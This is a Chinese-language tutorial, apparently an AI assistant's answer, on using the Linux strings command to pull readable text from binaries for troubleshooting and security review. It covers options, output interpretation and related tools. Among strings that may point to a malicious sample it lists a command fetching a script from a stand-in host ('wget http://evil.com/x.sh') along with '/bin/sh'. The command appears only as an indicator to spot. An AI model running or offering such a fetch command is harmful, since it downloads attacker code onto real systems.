在 Linux 中,strings 命令用于从一个二进制文件(可执行文件、库、core dump、磁盘镜像等)中提取可打印的字符串。它常用于逆向分析、排查问题、安全审计等场景。下面从「怎么用 → 输出是什么 → 如何解读 → 实战例子」逐步说明。
strings filename
示例:
strings /bin/ls
默认会输出长度 ≥ 4 的 ASCII 可打印字符串。
| 参数 | 作用 |
|---|---|
-n <长度> |
指定最小字符串长度 |
-a |
扫描整个文件(不只数据段) |
-e <编码> |
指定字符编码(如 s=7-bit, l=16-bit LE) |
-t x |
显示字符串的偏移(十六进制) |
-f |
显示文件名 |
示例:
strings -n 6 -t x /bin/ls
strings 不解析文件结构,只是扫描字节流,把连续的可打印字符提取出来。
例如可能看到:
/usr/bin/ls
Usage: %s [OPTION]... [FILE]...
invalid option
GNU coreutils
这些信息通常来自:
GNU coreutils 8.32
→ 知道程序版本、来源
--help
--version
recursive
force
→ 推测支持的命令行选项
/lib64/ld-linux-x86-64.so.2
/etc/passwd
→ 可能访问的系统资源
wget http://evil.com/x.sh
/bin/sh
password=
→ 可能是恶意样本
TODO: fix memory leak
DEBUG: entering function
→ 开发阶段信息
strings binary | grep -i error
objdump -d binary
file binary
strings -t x binary
hexdump -C binary | less
$ strings unknown_bin | head
UPX!
This file is packed
http://example.com/update
解读:
UPX! → 被 UPX 加壳✅ strings 不等于反编译 ❌ 不能看到逻辑、函数调用 ⚠ 加壳 / 加密后字符串可能不可读 ⚠ 误报常见(随机字节也可能被当成字符串)
strings 是“看二进制里写了什么话”,不是“看程序在做什么事”。
如果你有具体的一个 strings 输出或某个二进制文件想分析,可以直接贴出来,我可以帮你逐行解读。